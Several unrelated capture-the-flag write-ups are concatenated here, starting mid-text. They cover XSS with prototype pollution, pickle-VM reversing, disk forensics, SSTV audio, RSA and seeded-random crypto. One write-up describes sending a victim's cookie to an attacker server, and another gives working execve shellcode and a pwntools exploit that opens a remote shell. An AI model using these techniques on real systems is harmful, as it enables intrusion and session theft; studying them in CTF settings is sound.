We can try the various payloads and each time check the value of `window.debug.extension` in the console.```html```
```js>> window.debug.extension.toString()<- 'https://attacker_server'```
Perfect! So we know that```jsfetch(window.debug?.extension.toString())```will actually be ```jsfetch('https://attacker_server')```
If, like me, you were using a `SimpleHTTPServer` with python, exposed via `ngrok` then you'll notice you didn't receive a request.
Checking the console again, you'll see why.>Access to fetch at `https://ATTACKER_SERVER/` from origin `https://sanity.amt.rs` has been blocked by `CORS` policy: **No 'Access-Control-Allow-Origin' header is present on the requested resource**. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
There's various ways we can add this header, e.g. launching `ngrok` with `--request-header-add "Access-Control-Allow-Origin: *"`.
In this case, I used a `nodejs` app (exposed via `ngrok`).```jsconst http = require("http");
const server = http.createServer((req, res) => { // Set the Access-Control-Allow-Origin header to allow requests from any origin res.setHeader("Access-Control-Allow-Origin", "*");
// Send the response res.end('{}');});
const port = 3000;server.listen(port, () => { console.log(`Server listening on port ${port}`);});```
Now, when we refresh the page, our server gets a hit! However, when we check the report, there is no longer a report link.
If we review the code again, the missing report link situation should be quite obvious.```jsconst debug = Object.assign(new Debug(true), extension ?? { report: true });```
So, if extension exists, the `debug` object will be assigned it's properties (else, `report: true`). That has happened, but the JSON object sent by our server is currently `{}`.
Therefore, the properties of `debug` simply mirror the `Debug` class, the `debug.report` condition returns false and the report link is never created.```jsif (debug.report) { const reportLink = document.createElement("a"); reportLink.innerHTML = `Report <%= id %>`; reportLink.href = `report/<%= id %>`; reportLink.style.marginTop = "1rem"; reportLink.style.display = "block"
document.body.appendChild(reportLink)}```
Since we control the properties of extension, let's change the line in our server code to the following.```jsres.end('{"report": true}');```
Now, when we restart the server, our report link is generated! We add a simple XSS to the paste field (`<script>` won't work with `innerHTML` though, these tags only load when the page loads).```html```
The alert doesn't trigger, so let's move on to the next stage!
### Part 2: Prototype PollutionThe idea here is to pollute `__proto__` with the desired `key:value` pairs so that every object will inherit them. Change the line to the following.```jsres.end('{"__proto__": {"sanitize": false, "report": true}}');```
When I check the debugger again, `sanitize` is still not false. I really thought this worked for me yesterday, using the same payloads :/
Regardless, the alert is popped! Since `sanitize` doesn't seem to matter, let's try without it.```jsres.end('{"__proto__": {"report": true}}');```
Yep, it works! I tried a few variations to disable the sanitizer but didn't get there.
I check with ChatGPT:>The # before sanitize signifies that sanitize is a private class field, a feature introduced in JavaScript with the ECMAScript 2019 (ES10) specification. Private class fields are denoted by the # symbol followed by the field name, and they are only accessible within the class in which they are defined
>private class fields are not accessible outside the class where they are defined. They are not part of the prototype chain and cannot be modified or accessed from external code. This means that the `#sanitize` field in the `Debug` class is not susceptible to prototype pollution.
OK, I guess I can't change it? But.. if `debug.sanitize` is always true, why did the challenge dev add an if statement here at all? Guess I'll have to check smarter peoples writeups :D
### Part 3: XSSYou can probably find many payloads to extract the flag, but I went with this one.```js```
Upon loading, the page will try to display the image `x`. Since that's not a valid `img src`, it will trigger an error and execute some JS to redirect the victim to the attacker server (us) with their cookie attached as a GET parameter.
If we submit the report to the admin and check our `ngrok` output (make sure to do this on the web UI), we'll find our flag!```txtamateursCTF{s@nit1zer_ap1_pr3tty_go0d_but_not_p3rf3ct}```
Side note: I actually forgot to submit the flag, so our team did not solve the challenge :') |
---layout: isl-research-posttitle: "Cyber Security Rumble Finals CTF 2023 – elkcip – Writeup"excerpt: "In this post, I'm going to show how to solve elkcip from Cyber Security Rumble Finals CTF 2023 and why SMT/SAT solver choice matters."---
# Cyber Security Rumble Finals CTF 2023 – elkcip – Writeup> Please reverse this simple¹ flag checker implemented in 8 lines² of Python³ code.
*TLDR: Flag checker implemented in the Python pickle VM using NAND gates. The gates define 128 equations over 128 variables which can be solved using sage.* \*Depending on the SMT/SAT solver used, this challenge can be solved in a few minutes or not at all!* \500 base points + 438 dynamic scoring points and 2 solves. \Flag: `CSR{you_solved!}`.
For this challenge, we are given a Python `chall.py` script and a `code.pickle` object.
## Analyzing the Python ScriptThe Python script takes 16 flag bytes, combines them with a header (`b"C\x10"`) and the pickle bytes and then uses the `pickle` module to load the pickle object. \If the result is `truthy` (`True`, or `1`, or ...), the flag is correct.
```python#!/usr/bin/env python3
import pickle
flag = input("Flag: ").encode().ljust(16)[:16]
with open("code.pickle", "rb") as f: code = f.read()
if pickle.loads(b"C\x10" + flag + code): print("Correct")else: print("Wrong")```
## What is a Pickle Object? What is the Pickle VM?The `pickle` _module_ is part of the Python standard library and allows serializing and deserializing Python objects. To do this, it defines a **pickle protocol** that is used to serialize and deserialize Python objects [^1].
[^1]: There are multiple protocols that evolved over time. The latest protocol is version 5, which was introduced in Python 3.8. The pickle protocol is documented in the [pickle](https://docs.python.org/3/library/pickle.html#data-stream-format) module documentation.
A pickle _object_ is a sequence of bytes that is executed by a "pickle machine" (PM).The PM is a very simple machine:> there are no looping, testing, or conditional instructions, no arithmetic and no function calls. Opcodes are executed once each, from first to last, until a `STOP` opcode is reached [^2].
The result of the execution -- the unpickled value -- is the value that is left on the stack after the `STOP` opcode is executed.
[^2]: More information about the [PM](https://github.com/python/cpython/blob/481aa7a40fdc43c18e1be210dbe21c6f227ee339/Lib/pickletools.py#L38-L89) and more information about the [available instructions](https://github.com/python/cpython/blob/481aa7a40fdc43c18e1be210dbe21c6f227ee339/Lib/pickle.py#L101-L189).
## Analyzing the Pickle Object Using pickletoolsTo analyze the pickle object, we can use the `pickletools` module, which is part of the standard library.```pythonimport pickletoolswith open("code.pickle", "rb") as f: code = f.read()flag = b'CSR{ABCD_EFGH_I}' # 16 bytes
final_code = b"C\x10" + flag + codeopen("final_code.pickle", "wb").write(final_code) # save for later use
print(pickletools.dis(final_code))```
Unfortunately, `pickletools` crashes:```pythonTraceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib/python3.11/pickletools.py", line 2531, in dis raise ValueError(errormsg)ValueError: memo key 4 already defined```
**Instead of using `pickletools.dis` we could have used `pickletoos.genops` to get the opcodes, but I wasn't aware of that at the time.** Also, the output of `pickletoos.genops` is harder to read than the output of the next tool.
## Analyzing the Pickle Object Using ficklingLuckily, one of my teammates ([Liam Wachter](https://wachter-space.de)) remembered a tool from Trail of Bits called [fickling](https://github.com/trailofbits/fickling) that can be used to analyze pickle objects.```bash$ pip install fickling && fickling final_code.pickle```However, this **also** crashes:```pythonTraceback (most recent call last): [...] File "fickling/pickle.py", line 135, in __new__ raise NotImplementedError(f"TODO: Add support for Opcode {info.name}")NotImplementedError: TODO: Add support for Opcode SHORT_BINSTRING```
To me, a `NotImplementedError` sounded easier to fix than a `ValueError`, so I decided to fix this issue.
### Bugfixing fickling -- SHORT_BINSTRINGBy looking at the source code of fickling we can find a definition for `SHORT_BINBYTES` [^3].```pythonclass ShortBinBytes(DynamicLength, ConstantOpcode): name = "SHORT_BINBYTES" priority = Unicode.priority + 1 length_bytes = 1
@classmethod def validate(cls, obj): if not isinstance(obj, bytes): raise ValueError( f"{cls.__name__} must be instantiated with an object of type bytes, not {obj!r}" ) return super().validate(obj)```and `STRING` [^4]:```pythonclass String(ConstantOpcode): name = "STRING" priority = Unicode.priority + 1
def encode_body(self) -> bytes: return repr(self.arg).encode("utf-8")
@classmethod def validate(cls, obj): if not isinstance(obj, str): raise ValueError(f"String must be instantiated from a str, not {obj!r}") return obj```
[^3]: [Source](https://github.com/trailofbits/fickling/blob/b5debefd189310218f24904377207ef25003ce38/fickling/pickle.py#L1350-L1361)[^4]: [Source](https://github.com/trailofbits/fickling/blob/b5debefd189310218f24904377207ef25003ce38/fickling/pickle.py#L1077-L1088)
By combining parts of the two, we arrive at this definition for `SHORT_BINSTRING`:```pythonclass ShortBinString(DynamicLength, ConstantOpcode): name = "SHORT_BINSTRING" priority = Unicode.priority + 1 length_bytes = 1
def encode_body(self) -> bytes: return repr(self.arg).encode("utf-8")
@classmethod def validate(cls, obj): if not isinstance(obj, str): raise ValueError(f"String must be instantiated from a str, not {obj!r}") return obj```
If we now run the command again, we get output that looks like this:```python_var0 = getattr({}, '__class__')_var1 = getattr(_var0, '__getitem__')# ..._var279 = _var1({_var8: 1, _var8: 1, 0: 0}, 0)_var280 = _var1({0: 1, 0: 1, 0: 0}, 0)# Lots of lines similar to the next one follow# _varFOOBAR = _var1({_varFOO: 1, _varBAR: 1, 0: 0}, 0)```
`_var1` is the `__getitem__` method of the `dict` class.So the code is basically doing this:```python_var279 = {}.__class__.__getitem__({_var8: 1, _var8: 1, 0: 0}, 0)```which is the same as this:```python_var279 = {_var8: 1, _var8: 1, 0: 0}[0]```
If you are familiar with Python, you might notice that this is equivalent to this:```python_var279 = 0```This is because the last value of a key in a dictionary is the one that is used [^6].
[^6]: > If a key occurs more than once, the last value for that key becomes the corresponding value in the new dictionary. [Source](https://docs.python.org/3/library/stdtypes.html#mapping-types-dict).
So are all `_varFOOBAR` variables set to `0`? No, because this is another bug in `fickling`, the order of `dict` entries is wrong.```python_varFOOBAR = _var1({_varFOO: 1, _varBAR: 1, 0: 0}, 0)# ^should really be this:_varFOOBAR = _var1({0: 0, _varBAR: 1, _varFOO: 1}, 0)```
Here is the PR that adds support for `SHORT_BINSTRING`: [trailofbits/fickling#68](https://github.com/trailofbits/fickling/pull/68).
### Bugfixing fickling -- Wrong Order of dict() EntriesHow do we find the bug in `fickling`? We can enable tracing (`fickling --trace`) to find the instruction that builds the dictionary:```bashDICT Popped 1 Popped _var8 Popped 1 Popped _var8 Popped 0 Popped 0 Popped MARK Pushed {_var8: 1, _var8: 1, 0: 0}```If we cross-reference this with the documentation for the `DICT` opcode [^7], we can see that the order of the entries is wrong:> Stack before: ... markobject 1 2 3 'abc' \> Stack after: ... {1: 2, 3: 'abc'}
[^7]: [Source](https://github.com/python/cpython/blob/481aa7a40fdc43c18e1be210dbe21c6f227ee339/Lib/pickletools.py#L1651-L1657)In our case the stack looks like this:> Stack before: ... markobject 0 0 _var8 1 _var8 1
And **should** look like this afterwards:> Stack after: ... {0: 0, _var8: 1, _var8: 1}
The fix is pretty easy, we just have to reverse the keys and values in the `fickling` `Dict` class [^8]:```pythoninterpreter.stack.append(ast.Dict(keys=reversed(keys), values=reversed(values)))# vs the originalinterpreter.stack.append(ast.Dict(keys=keys, values=values))```
[^8]: [Source](https://github.com/trailofbits/fickling/blob/b5debefd189310218f24904377207ef25003ce38/fickling/pickle.py#L1433)
Here is the PR that fixes the bug: [trailofbits/fickling#67](https://github.com/trailofbits/fickling/pull/67).
### Cleaning Up the OutputAfter fixing all these bugs, we can finally look at the output which I've split into three parts:- initialization of variables- flag bit extraction- flag check
**Make sure to save the whole output to a file (for example `decompiled_code.py`), because we will need it later or use [my version]({{ "assets/files/elkcip/decompiled_code.py" | relative_url }}) as a reference.**
#### Raw Output```python# initialization of variables_var0 = getattr({}, '__class__')_var1 = getattr(_var0, '__getitem__')_var2 = getattr(b'', '__class__')_var3 = getattr(_var2, '__getitem__')_var4 = getattr(0, '__class__')_var5 = getattr(_var4, '__and__')_var6 = getattr(_var4, '__rshift__')
# flag bit extraction_var7 = _var3(b'CSR{ABCD_EFGH_I}', 0)_var8 = _var5(_var7, 1)_var9 = _var6(_var7, 1)# ...
# flag check_var279 = _var1({0: 0, _var8: 1, _var8: 1}, 0)_var280 = _var1({0: 0, 0: 1, 0: 1}, 0)# ...result0 = _var50515```#### Initialization of Variables```python_var0 = getattr({}, '__class__')_var1 = getattr(_var0, '__getitem__')_var2 = getattr(b'', '__class__')_var3 = getattr(_var2, '__getitem__')_var4 = getattr(0, '__class__')_var5 = getattr(_var4, '__and__')_var6 = getattr(_var4, '__rshift__')```
`_var1` allows us to get items from a dictionary, `_var3` allows us to get items from a bytes object, `_var5` allows us to do bitwise AND while `_var6` allows us to do bitwise right shift.
#### Flag Bit Extraction```python_var7 = _var3(b'CSR{ABCD_EFGH_I}', 0) # _var7 = b'CSR{ABCD_EFGH_I}'[0]_var8 = _var5(_var7, 1) # _var8 = _var7 & 1_var9 = _var6(_var7, 1) # _var9 = _var7 >> 1_var10 = _var5(_var9, 1) # _var10 = _var9 & 1_var11 = _var6(_var9, 1) # _var11 = _var9 >> 1_var12 = _var5(_var11, 1) # _var12 = _var11 & 1```
`_var7` is the first byte of the flag, `_var8` is the first bit of the flag. \`_var9` is the first byte of the flag shifted to the right, `_var10` is therefore the second bit of the flag, and so on. This is done for all 8 bits of all 16 bytes of the flag.
#### Flag Check -- Using dict() as NAND Gates```python_var279 = _var1({0: 0, _var8: 1, _var8: 1}, 0) # _var279 = {0: 0, _var8: 1, _var8: 1}[0]_var280 = _var1({0: 0, 0: 1, 0: 1}, 0) # _var280 = {0: 0, 0: 1, 0: 1}[0]_var281 = _var1({0: 0, _var280: 1, _var279: 1}, 0) # _var281 = {0: 0, _var280: 1, _var279: 1}[0]_var282 = _var1({0: 0, _var8: 1, 0: 1}, 0) # _var282 = {0: 0, _var8: 1, 0: 1}[0]# lots of lines similar to the above follow```
If we take a closer look at the code, we can see that the `dict` is actually used as a NAND gate ?.
Let's take a look at `_var281 = {0: 0, _var280: 1, _var279: 1}[0]`; we can create a truth table for this as the inputs are integers that can only be `0` or `1`:
| `_var279` | `_var280` | `_var281`/`result` || --------- | --------- | ------------------ || 0 | 0 | 1 || 0 | 1 | 1 || 1 | 0 | 1 || 1 | 1 | 0 |
Only if both `_var279` and `_var280` are `1`, `_var281` is `0`. Because then the `dict` will look like this: `{0: 0, 1: 1, 1: 1}` and getting the value for key `0` will return `0`.
We can further confirm that this is a NAND gate by looking at the Wikipedia page for [NAND gates](https://en.wikipedia.org/wiki/NAND_gate) and comparing the truth table with the one above.
#### Variable CleanupWe can now start to clean up the code, by parsing the extracted python code as an AST and performing different transformations.```python# Load the code from a filewith open("decompiled_code.py", "rt") as file: code = file.read()
# Parse the code into an ASTast_tree = ast.parse(code)
# Cleanup the ASTast_tree = ReplaceVar1Visitor().visit(ast_tree)ast_tree = CleanupAssignmentsVisitor().visit(ast_tree)ast_tree = ReplaceAssignVisitor().visit(ast_tree)ast_tree = ReplaceNameVisitor().visit(ast_tree)```
`ReplaceVar1Visitor` first replaces all calls of the form `_var1({0: 0, _var280: 1, _var279: 1}, 0)` with `Nand(_var280, _var279)`. `CleanupAssignmentsVisitor` removes assignments that have become dead code and `ReplaceAssignVisitor` and `ReplaceNameVisitor` are used to replace `_varXXX` with `flag_{char_index}_{bit_index}` where appropriate.
Our code now looks much cleaner and we can reverse the NAND gates.```python# OLD CODE # NEW CODE_var0 = getattr({}, '__class__') #_var1 = getattr(_var0, '__getitem__') #_var2 = getattr(b'', '__class__') #_var3 = getattr(_var2, '__getitem__') #_var4 = getattr(0, '__class__') #_var5 = getattr(_var4, '__and__') #_var6 = getattr(_var4, '__rshift__') #_var7 = _var3(b'CSR{ABCD_EFGH_I}', 0) # _var8 = _var5(_var7, 1) # flag_0_0 = Bool('flag_0_0')_var9 = _var6(_var7, 1) # _var10 = _var5(_var9, 1) # flag_0_1 = Bool('flag_0_1')_var11 = _var6(_var9, 1) # _var12 = _var5(_var11, 1) # flag_0_2 = Bool('flag_0_2')# ..._var279 = _var1({0: 0, _var8: 1, _var8: 1}, 0) # _var279 = Nand(flag_0_0, flag_0_0)_var280 = _var1({0: 0, 0: 1, 0: 1}, 0) # _var280 = Nand(0, 0)_var281 = _var1({0: 0, _var280: 1, _var279: 1}, 0) # _var281 = Nand(_var280, _var279)_var282 = _var1({0: 0, _var8: 1, 0: 1}, 0) # _var282 = Nand(flag_0_0, 0)```
#### NAND Gates CleanupIf we look closely at the code, we can spot a certain repeating pattern:```python_var285 = Nand(flag_0_1, flag_0_1)_var286 = Nand(_var284, _var284)_var287 = Nand(_var286, _var285)_var288 = Nand(flag_0_1, _var284)_var289 = Nand(_var287, _var288)_var290 = Nand(_var289, _var289)```If we visualize all six NAND gates, we can see that this is actually an XOR gate.
If we repeatedly replace all lines that match the given structure (using some very ugly python code), we get 71 XOR gates and some NAND gates that are still left.We can identify them as a NOT gate and an AND gate such that we get this code:```python_var284 = Xor(flag_0_0, 0)_var290 = Xor(flag_0_1, _var284)# 67 XOR gates ignored_var698 = Xor(flag_15_5, _var692)_var704 = Xor(flag_15_6, _var698)_var705 = Not(_var704)_var707 = And(_var705, 1)```In the end we have 128 blocks that each roughly contain 65 XOR gates. Each block has two inputs (in our case `flag_0_0` and `0`) and XORs them. Then XORs the result with another flag bit and so on. This effectively adds a different amount of flag bits (over the field GF(2)[^9]), then optionally adds a `1` (a NOT is the same as adding/subtracting a `1` in GF(2)).
[^9]: GF(2): We have two numbers `0` and `1` such that `1+1=0`. Adding two 1-bit numbers is therefore equivalent to XORing them.
The result of each block is then ANDed with the result of the previous block such that the final result is the following:```python_var707 = And(_var705, 1)_var1094 = And(_var1092, _var707)_var1498 = And(_var1496, _var1094)# ..._var49747 = And(_var49745, _var49366)_var50116 = And(_var50114, _var49747)_var50515 = And(_var50513, _var50116)result0 = _var50515```We want `result0` to be `1`/`True` so every individual block must be `1`/`True`.
#### A Linear Equation System Over GF(2)In the end, all those ANDs define a linear equation system over GF(2).
If we extract the 128x128 matrix and 128 vector that is the right side of the equation, we can use sage to get a solution for it like this:```pythonfrom sage.all import *F = GF(2)vec = vector(F, right_side)mat = matrix(F, rows)sol = mat.solve_right(vec)
print(int("".join(map(str, reversed(sol))), 2).to_bytes(16, "little"))```We finally get the flag: `b'CSR{you_solved!}'`.
(Full source code for the [sage solve script](https://intrigus.org/assets/files/elkcip/sage_solve.py).)
#### SMT and SAT Solvers -- Why They Didn't WorkInitially, I left all the NAND gates as is and didn't realize that I'm actually solving a linear equation system.So using [Z3](https://github.com/Z3Prover/z3/) should be enough to give us an easy solve, right?```pythonfrom z3 import *# ..._var50512 = Not(_var50511)_var50513 = Not(_var50512)_var50514 = Not(And(_var50116, _var50513))_var50515 = Not(_var50514)result0 = _var50515s = Solver()s.add(result0 != 0)```After running this for 2+ hours, I decided to instead transform the constraints to CNF (using Z3 for the conversion) and use the SAT solver [CaDiCal](https://github.com/arminbiere/cadical).
Unfortunately, besides heating the room, they never solved the problem.This is because the solvers don't see the problem as a linear equation system, but just as many "individual constraints" making it exponentially hard [^10].
[^10]: > The larger hurdle is that once the XORs are in the CNF using the translation, the CNF becomes exponentially hard to solve using standard CDCL as used in most SAT solvers. This is because Gauss-Jordan elimination is exponentially hard for the standard CDCL to perform — but we need Gauss-Jordan elimination because the XORs will interact with each other, as we expect there to be many of them. _Without being able to resolve the XORs with each other efficiently and derive information from them, it will be **practically impossible** to solve the CNF_ [emphasis mine]. [Source](https://www.msoos.org/2018/12/how-approximate-model-counting-works/)
While writing this post, I realized that there exist SAT solvers that can detect XOR gates and perform Gauss-Jordan elimination on them!One such solver is [cryptominisat](https://github.com/msoos/cryptominisat/tree/master#gauss-jordan-elimination).
Unfortunately there is another thing we have to be aware of.If we use Z3 with only a single constraint (`s.add(result0 != 0)`), transform to CNF and then use cryptominisat, we will NOT get a solution in a reasonable time.Instead, we have to introduce variables for every intermediate computation like this:```pythonfrom z3 import *# ..._var50513 = Int('_var50513')_var50514 = Int('_var50514')_var50515 = Int('_var50515')#s = Solver()s.add(_var50513 == Not(_var50512))s.add(_var50514 == Not(And(_var50116, _var50513)))s.add(_var50515 == Not(_var50514))s.add(result0 == _var50515)s.add(result0 != 0)```
If we do this, we also get the flag `b'CSR{you_solved!}'` in about a minute.
(Full source code for the [cryptominisat solve script](https://intrigus.org/assets/files/elkcip/cryptominisat_solve.py).) |
# Forensic: hide and split
## Task:
```Author: underzero
Explore this disk image file, maybe you can find something hidden in it.```
## Solution:
Attached is challenge.zip, which, when unzipped, reveals a file called challenge.ntfs.
In this writeup, I will show 2 ways to solve this challenge.
### Solution 1: Strings
In this solution, we utilize regex to get our answer. First of all, let's run `strings challenge.ntfs` and see the results.

Hmm...Nothing interesting...
Anyways, scrolling down a bit more, you find these set of strings:

Ah, cool hexadecimal text. If you've done some forensic before, you might recognize those first few hex bytes from the first file, 89 50 4e is the first few magic numbers for a PNG file.
From this information, you can safely say that these random hexadecimal strings form an image. Cool, but can we extract these all without unzipping the challenge.ntfs file?
The answer is yes! I utilized `egrep` for this one.
`strings challenge.ntfs | egrep -o '^(?:[0-9a-f]){16,}$'`
Let's see the result...

Cool, we have them all. Now, we just remove all the new lines and translate it from hex (I used [cyberchef](https://gchq.github.io/CyberChef/) for this), and once you do that, you will get an image with a QR code.

Scan it, and you get:
`TCP1P{hidden_flag_in_the_extended_attributes_fea73c5920aa8f1c}`
### Solution 2: Actually "unzipping" it
This solution was how I originally solved it. I just extracted the ntfs file with 7z, and it results in these files showing up:

Anyways, the flag-[number].txt just contains```Unfortunately this is not the flagThe flag has been split and stored in the hidden part of the disk```
However, the flag[number].txt/flag[number] files contain hexadecimal value. Similar to solution 1, I just piped all the hexadecimal text into a file called hex.txt, then used cyberchef to convert it from hex to image. Anyways, you get the flag from both solutions.
## Flag:
`TCP1P{hidden_flag_in_the_extended_attributes_fea73c5920aa8f1c}`
## Notes & Extras:
umm...i realized that newlines existed. i could've solved this challenge earlier. newlines screwed the final image. shoutout to my teammate xtrimi for telling me this LOL |
## Audio misc challenge
---
#### Description:*My friend Martin, a radio enthusiast, is on a trip to Europe. He promisedme a picture of a place he liked a lot, but instead of images, he sent me onlyan incomprehensible audio! Can you help me, please?*
*The flag must be submitted in srdnlen{} format: wrap the found flag insrdnlen{}*
*The flag is a meaningful sentence.*
**Attachment:** [challengeAudio.wav](https://github.com/marihere/CTF_writeups/blob/main/SrdnlenCTF2023/Audio%20misc%20challenge/challengeAudio.wav)
---
By reading the description we can find two big hints: the friend’s name is **Martin** and he is a **radio enthusiast**. This information is very helpful because – if we have any previous experience with SSTV (Slow-Scan Television) – we can already tell that it is, in fact, an **SSTV audio** created using the **Martin mode**.
In case we couldn’t already tell, in the file’s **EXIF data** we can find this comment: *SGludCA6IFNsb3cgU2xvdyBSYWRpbyBUcmFuc21pc3Npb24g*
If we decode this string from Base64, we get: *Hint : **Slow Slow RadioTransmission***
Wikipedia shows this definition of what SSTV is:*Slow-scan television (SSTV) is a picture transmission method, used mainly by amateur radio operators, to transmit and receive static pictures via radio in monochrome or color.*
So, what do we do now? It’s simple, we need a decoder to show us whatis the image!
For this challenge, I used a program called **QSSTV**, which is an SSTV open-source software, and, after decoding the WAV audio, it showed me an image in which we can see the Sardinian flag and a string in front of it, *{MQ}4Af,T5q7JHx*.
At first, I didn’t know what this string meant... *I thought, maybe it isa crypted message containing the flag?* But after trying out various methodsof decyphering and decoding, none of them seemed to give me a result so Ijust gave up.
Then, I started analyzing the file and I found a hidden RAR archive thanks to **binwalk**. I tried opening it but it was protected by a password... Then, I tried using the stringI saw on the image and... Bingo! I found an image containing the flag. I just had tocopy it and wrap it in the flag format (srdnlen{}).
*Please check out [my writeup on GitHub](https://github.com/marihere/CTF_writeups/tree/main/SrdnlenCTF2023/Audio%20misc%20challenge) for the images and references.*
---
The flag is:### srdnlen{Wh4t_4_W0nd3rful c1ty!!!} |
# CyberHeroines 2023
## Erna Hoover
> [Erna Schneider Hoover](https://en.wikipedia.org/wiki/Erna_Schneider_Hoover) (born June 19, 1926) is an American mathematician notable for inventing a computerized telephone switching method which "revolutionized modern communication". It prevented system overloads by monitoring call center traffic and prioritizing tasks on phone switching systems to enable more robust service during peak calling times. At Bell Laboratories where she worked for over 32 years, Hoover was described as an important pioneer for women in the field of computer technology. - [Wikipedia Entry](https://en.wikipedia.org/wiki/Erna_Schneider_Hoover)> > Chal: Get your best shellcode going at `0.cloud.chals.io 28184` for this [inventor who developed the system for handling telephone traffic overload](https://ncwit.org/article/2023-pioneer-in-tech-award-recipient-erna-schneider-hoover/).>> Author: [TJ](https://www.tjoconnor.org/)>> [`chal.bin`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/cyberheroines23/pwn/erna_hoover/chal.bin)
Tags: _pwn_
## SolutionWe get a binary to exploit for this challenge. Lets see what's in it?
```cundefined8 main(void){ size_t sVar1; char local_58 [64]; ssize_t local_18; code *local_10; logo(); printf("\x1b[38;5;161m Enter Username >>> "); fgets(local_58,0x32,stdin); sVar1 = strcspn(local_58,"\n"); local_58[sVar1] = '\0'; printf("\x1b[38;5;161m Greetings, %s! You get 8 bytes of shellcode >>> \n",local_58); local_10 = (code *)mmap((void *)0x88880000,0x1000,7,0x32,-1,0); local_18 = read(0,local_10,8); (*local_10)(); return 0;}```
We can enter `50` bytes as a username. There is no overflow here, since the buffer is at least `64` bytes long. After this we can enter `8` more bytes which are then written to executable memory and run. As the comment states, we have 8 bytes of shellcode we can use. Thats not a lot, but lets see what we can do.
Checking the binary with `checksec` we see that basialy all security measurements are disabled. But the best thing for us here is that stack memory is executable. Knowing this we have a lot more space to inject shellcode as our username. The *actual* 8 bytes of shellcode need only to jump to the username buffer, that's doable in 8 bytes.
```bash$ checksec ./chal.bin[*] '/home/ctf/chal.bin' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments```
To get shell we can for instance use [`this shellcode`](https://shell-storm.org/shellcode/files/shellcode-806.html)
```asm xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall```
Having this on the stack we only need to know where to jump to. When inspecting with `Ghidra` or `gdb` we see the buffer is `120` bytes from `rsp` when the trampoline shellcode is executed (before the call `buffer address - rsp = 112` bytes plus 8 bytes return address for the call to our shellcode). So we can use `rsp` as reference to jump to our buffer.
``` add rsp, 120 jmp rsp```
The full exploit then looks something like this:
```from pwn import *
#context.log_level = "DEBUG"context.arch = "amd64"
#p = process("./chal.bin")p = remote("0.cloud.chals.io", 28184)
payload1 = asm(''' xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall''')
payload2 = asm(''' add rsp, 120 jmp rsp''')
p.sendline(payload1)p.sendlineafter(b"shellcode >>> \n", payload2)p.interactive()```
Running this gives us shell on the remote machine and we can just cat the flag.
```bash$ python solve.py[+] Opening connection to 0.cloud.chals.io on port 28184: Done[*] Switching to interactive mode$ ls-banner_failbinbootchaldevetcflag.txthomeliblib32lib64libx32mediamntoptprocpwndbgrootrunsbinservice.confsrvsystmpusrvarwrapper$ cat flag.txtchctf{r3volutioniz3d_moD3rn_coMMunicat10ns}$```
Flag `chctf{r3volutioniz3d_moD3rn_coMMunicat10ns}` |
{"payload":{"allShortcutsEnabled":false,"path":"AjajaSaChef","repo":{"id":711616530,"defaultBranch":"main","name":"Srdnlen-CTF-2023","ownerLogin":"FeeeDz","currentUserCanPush":false,"isFork":false,"isEmpty":false,"createdAt":"2023-10-29T19:55:30.000Z","ownerAvatar":"https://avatars.githubusercontent.com/u/67475596?v=4","public":true,"private":false,"isOrgOwned":false},"currentUser":null,"refInfo":{"name":"main","listCacheKey":"v0:1698610449.0","canEdit":false,"refType":"branch","currentOid":"f4d1209054c7e17e297fef48f4ae90d125700c6b"},"tree":{"items":[{"name":"AjajaSaChef.md","path":"AjajaSaChef/AjajaSaChef.md","contentType":"file"},{"name":"Retzetaprosanipote.pdf","path":"AjajaSaChef/Retzetaprosanipote.pdf","contentType":"file"}],"templateDirectorySuggestionUrl":null,"readme":null,"totalCount":2,"showBranchInfobar":false},"fileTree":{"":{"items":[{"name":"AjajaSaChef","path":"AjajaSaChef","contentType":"directory"},{"name":"AudioMiscChallenge","path":"AudioMiscChallenge","contentType":"directory"},{"name":"README.md","path":"README.md","contentType":"file"}],"totalCount":3}},"fileTreeProcessingTime":2.3867160000000003,"foldersToFetch":[],"treeExpanded":true,"symbolsExpanded":false,"csrf_tokens":{"/FeeeDz/Srdnlen-CTF-2023/branches":{"post":"5siQOoTn6WS3E41zwG6LJ2t92p4ag-u4oyUsQr9bmHBAytJoaiJOAkQOdZMRnrCuJWYHdOXSy7EpKpW4xMO8Lw"},"/FeeeDz/Srdnlen-CTF-2023/branches/fetch_and_merge/main":{"post":"Zu7F-b5YXgRb2AMyUiTYBnTzj1ZBpl66_JL4NlaxdDjY2uSUNotKU5olmcD3Aes_stE5Bcgxc0PrF7jv2C4BaQ"},"/FeeeDz/Srdnlen-CTF-2023/branches/fetch_and_merge/main?discard_changes=true":{"post":"Iy_b29-mRiL-jHobo-Nfu-PUNh_FaXDm9EbFpD4sTZ-dG_q2V3VSdT9x4OkGxmyCJfaATEz-XR_jw4V9sLM4zg"}}},"title":"Srdnlen-CTF-2023/AjajaSaChef at main · FeeeDz/Srdnlen-CTF-2023"} |
This is what we're given:
```from Crypto.Util.number import *n=166045890368446099470756111654736772731460671003059151938763854196360081247044441029824134260263654537e=65537msg=bytes_to_long(b'UDCTF{REDACTED}')ct=pow(msg,e,n)print(n)print(e)print(ct) ```
n seems suspiciously small compared to the Grade 1... if you look it up in [factordb.com](http://), n's factors are already known! Therefore the problem is now trivial -- reuse code from grade 1 to decrypt
UDCTF{pr1m3_f4ct0r_the1f!}
```n=166045890368446099470756111654736772731460671003059151938763854196360081247044441029824134260263654537e=65537c=141927379986409920845194703499941262988061316706433242289353776802375074525295688904215113445883589653p = 51700365364366863879483895851106199085813538441759
q = n // pphi = (p - 1) * (q - 1)d = pow(e, -1, phi)m = pow(c, d, n)m = format(m, 'x')for i in range(0, len(m), 2): print(chr(int(m[i:i+2], 16)), end='')``` |
This is what we're given:
```flag="REDACTED"import randomimport timeprint(time.time())#1697043249.53time.sleep(random.randint(0, 50))random.seed(int(time.time()))ct=""for c in flag: ct += chr(random.randint(0,255) ^ ord(c))print(ct.encode('hex'))#a0469bbb0b3a4f06306739032244b0c5119ba66a0d3b5a2322acdd7070bf85690cdf8573212c1b927e0ba624```
